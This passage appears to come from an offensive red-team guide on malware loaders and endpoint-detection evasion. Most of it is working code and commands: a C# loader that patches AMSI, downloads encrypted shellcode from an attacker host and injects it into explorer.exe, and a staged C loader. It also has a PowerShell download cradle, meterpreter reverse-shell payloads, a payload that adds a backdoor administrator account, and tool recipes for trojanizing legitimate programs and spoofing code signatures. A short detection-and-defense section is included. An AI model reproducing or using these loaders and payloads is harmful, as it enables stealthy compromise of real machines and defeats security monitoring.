14.2 C# Loader with AMSI Bypass + AES Decrypt + Injection
using System;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.IO;
class AdvancedLoader {
[DllImport("kernel32.dll")] static extern IntPtr OpenProcess(uint a, bool b, uint c);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr h, IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr h, IntPtr a, byte[] d, uint s, out uint w);
[DllImport("kernel32.dll")] static extern bool VirtualProtectEx(IntPtr h, IntPtr a, uint s, uint p, out uint o);
[DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr h, IntPtr a, uint s, IntPtr f, IntPtr p, uint c, out uint t);
[DllImport("kernel32.dll")] static extern IntPtr GetModuleHandle(string n);
[DllImport("kernel32.dll")] static extern IntPtr GetProcAddress(IntPtr m, string f);
[DllImport("kernel32.dll")] static extern bool VirtualProtect(IntPtr a, UIntPtr s, uint p, out uint o);
// AMSI Patch
static void PatchAMSI() {
IntPtr amsi = GetModuleHandle("amsi.dll");
IntPtr func = GetProcAddress(amsi, "AmsiScanBuffer");
uint old;
VirtualProtect(func, (UIntPtr)6, 0x40, out old);
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
Marshal.Copy(patch, 0, func, 6);
VirtualProtect(func, (UIntPtr)6, old, out old);
}
// AES-256-CBC Decrypt
static byte[] AESDecrypt(byte[] ciphertext, byte[] key, byte[] iv) {
using (var aes = Aes.Create()) {
aes.KeySize = 256;
aes.BlockSize = 128;
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
using (var decryptor = aes.CreateDecryptor(key, iv))
using (var ms = new MemoryStream(ciphertext))
using (var cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Read))
using (var result = new MemoryStream()) {
cs.CopyTo(result);
return result.ToArray();
}
}
}
static void Main(string[] args) {
// 1. Patch AMSI
PatchAMSI();
// 2. Download encrypted shellcode from C2
byte[] encShellcode = new WebClient().DownloadData("http://ATTACKER/shell.enc");
// 3. Decrypt
byte[] key = new byte[] { /* 32 AES key bytes */ };
byte[] iv = new byte[] { /* 16 IV bytes */ };
byte[] shellcode = AESDecrypt(encShellcode, key, iv);
// 4. Find target process PID (e.g., explorer.exe)
uint targetPID = 0;
foreach (var proc in System.Diagnostics.Process.GetProcessesByName("explorer")) {
targetPID = (uint)proc.Id;
break;
}
// 5. Inject
IntPtr hProc = OpenProcess(0x1F0FFF, false, targetPID);
IntPtr rMem = VirtualAllocEx(hProc, IntPtr.Zero,
(uint)shellcode.Length, 0x3000, 0x04);
uint written;
WriteProcessMemory(hProc, rMem, shellcode, (uint)shellcode.Length, out written);
uint oldProt;
VirtualProtectEx(hProc, rMem, (uint)shellcode.Length, 0x20, out oldProt);
uint tid;
CreateRemoteThread(hProc, IntPtr.Zero, 0, rMem, IntPtr.Zero, 0, out tid);
Console.WriteLine("[+] Injected!");
}
}
# Compile C# loader:
# Windows (csc.exe):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:loader.exe loader.cs
# Linux (Mono):
mcs loader.cs -out:loader.exe
# Deploy via execute-assembly in Cobalt Strike:
# beacon> execute-assembly C:\Compiled\loader.exe
15. Loader Tooling & Frameworks
15.1 Donut — PE to PIC Shellcode Converter
What it means: Donut converts any .NET assembly, EXE, DLL, or VBScript/JScript into position-independent shellcode. The output shellcode can be injected into any process using any injection technique, bypassing application whitelisting.
GitHub: https://github.com/TheWover/donut
# Install
git clone https://github.com/TheWover/donut
cd donut && make
# Convert a .NET assembly to shellcode
./donut -f SharpHound.exe -a 2 -o shound.bin
# -f = input file
# -a = architecture: 1=x86, 2=x64, 3=x86+x64
# -o = output shellcode file
# Convert with arguments
./donut -f Rubeus.exe -a 2 -p "kerberoast /outfile:out.txt" -o rubeus.bin
# Convert DLL with specific exported function
./donut -f payload.dll -e ExportedFunc -a 2 -o payload.bin
# Convert with AMSI/WLDP bypass built in (!!!)
./donut -f SharpUp.exe -a 2 -b 1 -o sharpup.bin
# -b 1 = bypass AMSI + WLDP (Donut patches both before running payload)
# AMSI bypass options:
# -b 0 = none
# -b 1 = AMSI + WLDP (recommended)
# -b 2 = AMSI only
# -b 3 = WLDP only
# Convert to base64 (for embedding in scripts)
./donut -f Seatbelt.exe -a 2 -o seatbelt.bin -t
# -t = output as base64 text instead of raw binary
# Compression (smaller payload)
./donut -f mimikatz.exe -a 2 -z 2 -o mimi.bin
# -z 2 = LZ4 compression
# HTTP fetch (payload downloads itself at runtime)
./donut -f payload.exe -a 2 -u "http://ATTACKER/payload.exe" -o stager.bin
# Python bindings
pip install donut-shellcode
python3 -c "
import donut
payload = donut.create(file='SharpHound.exe', params='-c All', arch=2, bypass=1)
open('shound.bin','wb').write(payload)
"
15.2 ScareCrow — Loader Generator with EDR Bypass
What it means: ScareCrow generates fully weaponized loaders with built-in EDR bypass techniques — DLL side-loading, ETW patching, AMSI patching, sandbox evasion, and more. It accepts raw shellcode as input.
GitHub: https://github.com/optiv/ScareCrow
# Install
git clone https://github.com/optiv/ScareCrow
cd ScareCrow
go build ScareCrow.go
# Generate loader as EXE
./ScareCrow -I payload.bin -Loader binary -domain microsoft.com -O loader.exe
# -I = input shellcode file (.bin)
# -Loader = loader type
# -domain = domain for code signing cert spoofing
# -O = output file
# Loader types:
# binary → standalone .exe
# control → .cpl (Control Panel applet)
# dll → .dll side-loadable
# excel → .xll (Excel add-in)
# msiexec → .msi package
# wscript → .js / .vbs
# Generate DLL (side-loaded into legitimate app)
./ScareCrow -I payload.bin -Loader dll -domain microsoft.com -O payload.dll
# With custom process injection target
./ScareCrow -I payload.bin -Loader binary -injection explorer.exe -O loader.exe
# With ETW bypass
./ScareCrow -I payload.bin -Loader binary -etw -O loader.exe
# With domain spoof + sandbox evasion + ETW
./ScareCrow -I payload.bin -Loader binary -domain google.com -sandbox -etw -O safe_loader.exe
# Generate CPL file (useful for phishing via rundll32)
./ScareCrow -I payload.bin -Loader control -domain microsoft.com -O update.cpl
# Execution: control.exe update.cpl
15.3 Freeze — Code Signing + AMSI/ETW Bypass Loader
What it means: Freeze generates loaders with automated AMSI/ETW patching, optional process injection, and code signing (real or spoofed cert). Written in Go.
GitHub: https://github.com/optiv/Freeze
# Install
git clone https://github.com/optiv/Freeze
go build .
# Basic loader generation
./Freeze -I payload.bin -O loader.exe
# With AMSI bypass
./Freeze -I payload.bin -AMSI -O loader.exe
# With ETW bypass
./Freeze -I payload.bin -ETW -O loader.exe
# Full bypass (AMSI + ETW + process injection into notepad.exe)
./Freeze -I payload.bin -AMSI -ETW -process notepad.exe -O loader.exe
# Console application (with a window)
./Freeze -I payload.bin -console -O loader.exe
# Sign with self-signed cert (spoof issuer)
./Freeze -I payload.bin -sign -O loader.exe
# Inject into remote process using API queue (APC)
./Freeze -I payload.bin -injection -O loader.exe
15.4 Donut + ScareCrow Full Pipeline
# Step 1: Generate CS/Sliver shellcode
# (From CS: Attacks → Raw → save as payload.bin)
# OR: msfvenom ... -f raw -o payload.bin
# Step 2: Convert assembly to shellcode via Donut (if using .NET tool)
python3 -c "import donut; open('sc.bin','wb').write(donut.create(file='Rubeus.exe',params='kerberoast',arch=2,bypass=1))"
# Step 3: Wrap in EDR-bypassing loader via ScareCrow
./ScareCrow -I sc.bin -Loader binary -domain microsoft.com -etw -sandbox -O update.exe
# Result: update.exe — looks signed, evades sandbox, patches ETW + AMSI, runs payload
15.5 Shellter — Shellcode Injection into Legit PE
What it means: Shellter injects shellcode into a legitimate Windows PE (like putty.exe) so the infected PE still works normally but also executes shellcode in a new thread. Useful for trojanizing software.
# Kali Linux
sudo apt install shellter
wine shellter
# Or direct:
wine shellter.exe
# Interactive menu:
# A = Automatic mode (inject into PE automatically)
# Enter path to PE: /path/to/putty.exe
# Stealth mode: Y (PE continues to work normally)
# Payload: L (listed) or C (custom)
# Select: 1 (meterpreter reverse TCP)
# LHOST: 10.10.10.100
# LPORT: 4444
# Non-interactive (automation):
echo -e "A\n/path/to/putty.exe\nY\nL\n1\n10.10.10.100\n4444" | wine shellter.exe
15.6 msfvenom → Custom Format Reference
# All output formats:
msfvenom --list formats
# Most useful for loaders:
# Raw binary (use with Donut/ScareCrow/custom loaders)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.bin
# C array (paste into C loader)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f c
# C# array (paste into C# loader)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f csharp
# Python bytes (paste into Python loader)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f python
# PowerShell bytes (paste into PS loader)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f ps1
# EXE (pre-wrapped loader — lowest stealth)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe
# DLL (inject via regsvr32/rundll32)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f dll -o shell.dll
16. Staged vs Stageless Loaders
What it means: A critical loader design choice. Staged loaders are small stubs that download the full payload at runtime. Stageless loaders embed the full payload inside the loader file.
STAGED:
loader.exe (small ~ 300 bytes)
│
└──→ HTTP GET http://ATTACKER/payload.bin
│
└──→ Downloads full shellcode → executes
Pros: tiny file, payload not embedded, easy to swap payload
Cons: requires network connectivity, HTTP request visible to FW/IDS
STAGELESS:
loader.exe (full payload embedded, encrypted)
│
└──→ Decrypt payload from embedded bytes → execute in memory
Pros: works offline, no network request for payload
Cons: larger file size, payload in binary (encrypted)
// Staged loader (downloads shellcode at runtime):
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
BYTE* DownloadShellcode(const char* url, DWORD* outLen) {
HINTERNET hInet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hConn = InternetOpenUrlA(hInet, url, NULL, 0,
INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0);
DWORD bufSize = 4096, totalRead = 0, bytesRead;
BYTE* buf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, bufSize);
while (InternetReadFile(hConn, buf + totalRead, bufSize - totalRead, &bytesRead) && bytesRead) {
totalRead += bytesRead;
if (totalRead + 4096 > bufSize) {
bufSize *= 2;
buf = (BYTE*)HeapReAlloc(GetProcessHeap(), 0, buf, bufSize);
}
}
InternetCloseHandle(hConn);
InternetCloseHandle(hInet);
*outLen = totalRead;
return buf;
}
int main(void) {
DWORD sc_len;
BYTE* shellcode = DownloadShellcode("http://ATTACKER/payload.bin", &sc_len);
LPVOID mem = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, shellcode, sc_len);
HeapFree(GetProcessHeap(), 0, shellcode);
DWORD old;
VirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old);
((void(*)())mem)();
return 0;
}
17. Position-Independent Code (PIC) & Writing Your Own Shellcode
What it means: Real shellcode must be position-independent: it works at any memory address because it doesn't use absolute addresses. It finds Win32 APIs at runtime by walking PEB → InMemoryOrderModuleList → kernel32 → GetProcAddress.
; x64 PIC shellcode skeleton (NASM)
; Walk PEB to find kernel32, then GetProcAddress for WinExec
bits 64
; Find kernel32 base via PEB
xor rax, rax
mov rbx, [gs:rbx+0x60] ; PEB at GS:[0x60]
mov rbx, [rbx+0x18] ; PEB->Ldr
mov rbx, [rbx+0x10] ; Ldr->InMemoryOrderModuleList.Flink (ntdll entry)
mov rbx, [rbx] ; .Flink (kernel32 entry)
mov rbx, [rbx+0x20] ; DllBase = kernel32.dll base address
; rbx now = kernel32 base
; Resolve GetProcAddress from kernel32 PE export table
; (full implementation omitted — see msfvenom source or custom shellcode guides)
; Once you have GetProcAddress, use it to get VirtualAlloc, CreateThread, etc.
; Common structure for shellcode that calls WinExec:
; 1. Find kernel32 via PEB walk
; 2. Parse PE Export Directory to find GetProcAddress
; 3. Use GetProcAddress to get VirtualAlloc, WinExec, ExitProcess
; 4. Push "cmd.exe" string onto stack
; 5. Call WinExec
; 6. Call ExitProcess
# Generate shellcode with msfvenom for a custom payload:
# exec payload — runs a specific command
msfvenom -p windows/x64/exec CMD="net user hacker P@ss123! /add && net localgroup administrators hacker /add" \
-f raw -o adduser.bin
# Or use pwntools (Python):
from pwn import *
context.arch = 'amd64'
# Simple shellcode that runs calc.exe (for testing)
sc = shellcraft.amd64.windows.exec('calc.exe')
print(asm(sc).hex())
18. Detection & Defense
What EDRs Look For
STATIC ANALYSIS (pre-execution):
→ Raw shellcode byte signatures in binary
→ Known msfvenom/CS payload patterns
→ Suspicious API imports: VirtualAlloc, WriteProcessMemory, CreateRemoteThread
→ String signatures: "AmsiScanBuffer", "amsiInitFailed"
→ High entropy sections (encrypted/compressed payload)
→ Unsigned PE / invalid cert chain
DYNAMIC / BEHAVIORAL (during execution):
→ VirtualAlloc(PAGE_EXECUTE_READWRITE) — RWX allocation
→ VirtualAlloc → WriteProcessMemory → CreateRemoteThread chain (classic injection)
→ OpenProcess(PROCESS_ALL_ACCESS) on another process
→ Memory scan: executable region not backed by any file on disk (anonymous RWX)
→ syscall from outside ntdll.dll address range (direct syscall detection)
→ EtwEventWrite returning immediately (ETW patched)
→ AmsiScanBuffer returning E_INVALIDARG (AMSI patched)
→ Process hollowing: NtUnmapViewOfSection followed by write to image base
EDR HOOKS:
→ ntdll hooks: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory
→ ntdll hooks: NtCreateThreadEx, NtOpenProcess
→ Kernel callbacks: PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine
→ Image load callbacks: PsSetLoadImageNotifyRoutine
Defender Mitigations
Host-based:
✔ Enable Attack Surface Reduction (ASR) rules
✔ Enable Windows Defender Credential Guard
✔ Enable Memory Integrity (HVCI) — prevents kernel driver patching
✔ Deploy EDR with kernel-level monitoring (CrowdStrike, SentinelOne, Defender for Endpoint)
✔ Enable PPL (Protected Process Light) for AV/EDR processes
✔ Monitor for VirtualAlloc with MEM_EXECUTE flag in non-whitelisted processes
✔ Scan anonymous executable memory regions (not backed by disk file)
✔ Enforce Code Integrity policy — block unsigned executables
Network:
✔ Inspect HTTPS traffic (SSL inspection) for beaconing patterns
✔ DNS sinkholing — catch staged payload DNS C2
✔ Web proxy with threat intelligence feeds
✔ Anomalous outbound connections from non-browser processes
Logging:
✔ Sysmon EventID 10 (ProcessAccess — OpenProcess calls)
✔ Sysmon EventID 8 (CreateRemoteThread)
✔ Sysmon EventID 25 (ProcessTampering — hollowing)
✔ ETW Microsoft-Windows-Threat-Intelligence provider
✔ Windows Defender EventID 1116/1117 (malware detected/remediated)
✔ PowerShell ScriptBlock Logging (Event ID 4104)
19. Complete Cheat Sheet
Injection Technique Selection Guide
TARGET: Current process, basic evasion
→ VirtualAlloc(RW) → copy → VirtualProtect(RX) → function call / fiber / callback
TARGET: Remote process, medium opsec
→ OpenProcess → VirtualAllocEx(RW) → WriteProcessMemory → VirtualProtectEx(RX) → APC (early bird)
TARGET: Remote process, high opsec
→ Direct syscalls (SysWhispers3) → NtOpenProcess → NtAllocateVirtualMemory(RW)
→ NtWriteVirtualMemory → NtProtectVirtualMemory(RX) → NtCreateThreadEx
TARGET: Stealth memory (avoid anonymous pages)
→ Module Stomping: LoadLibrary(sacrificial.dll) → VirtualProtect(.text, RW)
→ memcpy shellcode into .text → VirtualProtect(RX) → call
TARGET: No CreateThread at all
→ EnumWindows / timer callback / fiber → Callback-based execution
TARGET: Anti-analysis / sandbox
→ Sleep timing check + CPU/RAM + domain check + cursor check
→ If sandbox detected → exit or perform benign action
PAYLOAD FORMAT:
.NET EXE/DLL → Donut → raw shellcode → any injection method
Raw shellcode → encrypt (AES/XOR) → embed in loader → ScareCrow/Freeze to wrap
Meterpreter → msfvenom -f raw → custom loader with injection
OPSEC Tier:
LOW: Raw msfvenom EXE
MED: Custom loader + XOR + CreateThread injection
HIGH: AES encrypted + syscalls + module stomping + AMSI/ETW patch
MAX: Indirect syscalls + callback execution + PPID spoof + sandbox evasion
Quick Command Reference
# ─── GENERATE SHELLCODE ───
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=IP LPORT=443 -f raw -o shell.bin
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=IP LPORT=443 -f csharp # C# bytes
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=IP LPORT=443 -f ps1 # PS bytes
# ─── ENCRYPT SHELLCODE ───
# XOR (Python):
python3 -c "key=0x41;d=open('shell.bin','rb').read();open('shell.enc','wb').write(bytes(b^key for b in d))"
# AES (Python with pycryptodome):
python3 -c "
from Crypto.Cipher import AES;from Crypto.Util.Padding import pad;import os
k=os.urandom(32);iv=os.urandom(16);d=open('shell.bin','rb').read()
enc=AES.new(k,AES.MODE_CBC,iv).encrypt(pad(d,16))
open('shell.enc','wb').write(enc);print('Key:',k.hex());print('IV:',iv.hex())
"
# ─── CONVERT PE TO SHELLCODE ───
donut -f Rubeus.exe -p "kerberoast" -a 2 -b 1 -o rubeus.bin # Donut (AMSI bypass built-in!)
donut -f SharpHound.exe -p "-c All" -a 2 -b 1 -z 2 -o shound.bin # + LZ4 compression
# ─── WRAP IN EDR-BYPASSING LOADER ───
./ScareCrow -I shell.bin -Loader binary -domain microsoft.com -etw -sandbox -O loader.exe
./Freeze -I shell.bin -AMSI -ETW -process notepad.exe -O loader.exe
# ─── COMPILE C LOADER ───
x86_64-w64-mingw32-gcc loader.c -o loader.exe -mwindows # no console window
x86_64-w64-mingw32-gcc loader.c -o loader.exe -Wall
# ─── COMPILE C# LOADER ───
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:loader.exe loader.cs
mcs loader.cs -out:loader.exe # Linux (Mono)
# ─── GENERATE SYSCALL STUBS ───
python3 SysWhispers2/syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
--output syscalls
# ─── SHELLTER (Trojanize legit PE) ───
wine shellter.exe
# Interactive: A → target.exe → Y (stealth) → L → 1 → LHOST → LPORT
# ─── INJECT SHELLCODE (PowerShell) ───
# See Section 13 for full PS loader
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/loader.ps1')
# ─── INJECT VIA EXECUTE-ASSEMBLY (Cobalt Strike) ───
beacon> execute-assembly /opt/Loaders/ShellcodeLoader.exe
beacon> execute-assembly /opt/Donut/rubeus.bin
Evasion Layers — Recommended Combinations
LAYER 1 (Payload):
→ Encrypt shellcode with AES-256-CBC
→ OR encode as UUID/MAC/IPv4 array
LAYER 2 (Execution):
→ Use direct/indirect syscalls (SysWhispers2/3)
→ Avoid VirtualAlloc/CreateThread Win32 APIs
→ Use callback-based or fiber execution
LAYER 3 (Injection):
→ Inject into a legitimate process (svchost, explorer)
→ Use Early Bird APC or Module Stomping
→ Spoof parent PID
LAYER 4 (In-process):
→ Patch AMSI (AmsiScanBuffer patch)
→ Patch ETW (EtwEventWrite patch)
LAYER 5 (Loader Binary):
→ Sign with ScareCrow / Freeze (code signing spoof)
→ Sandbox evasion: sleep check, CPU/RAM check, cursor movement
LAYER 6 (Delivery):
→ Embed shellcode in legitimate-looking file format
→ DLL side-load into legit app
→ Macro document / HTA / LNK / ISO delivery
Key GitHub Repos
| Tool | URL | Purpose |
|---|---|---|
| Donut | github.com/TheWover/donut | PE → PIC shellcode |
| ScareCrow | github.com/optiv/ScareCrow | EDR-bypassing loader gen |
| Freeze | github.com/optiv/Freeze | Loader + AMSI/ETW bypass |
| SysWhispers2 | github.com/jthuraisamy/SysWhispers2 | Syscall stub gen |
| SysWhispers3 | github.com/klezVirus/SysWhispers3 | Syscall stub gen (newer) |
| HellsGate | github.com/am0nsec/HellsGate | Dynamic syscall # resolve |
| ReflectiveDLL | github.com/stephenfewer/ReflectiveDLLInjection | Reflective injection |
| PowerSploit | github.com/PowerShellMafia/PowerSploit | Invoke-ReflectivePEInjection |
| SharpSploit | github.com/cobbr/SharpSploit | .NET post-ex framework |
| Shellter | github.com/lattera/shellter | PE trojanizer |
| SharpCollection | github.com/Flangvik/SharpCollection | Prebuilt C# tools |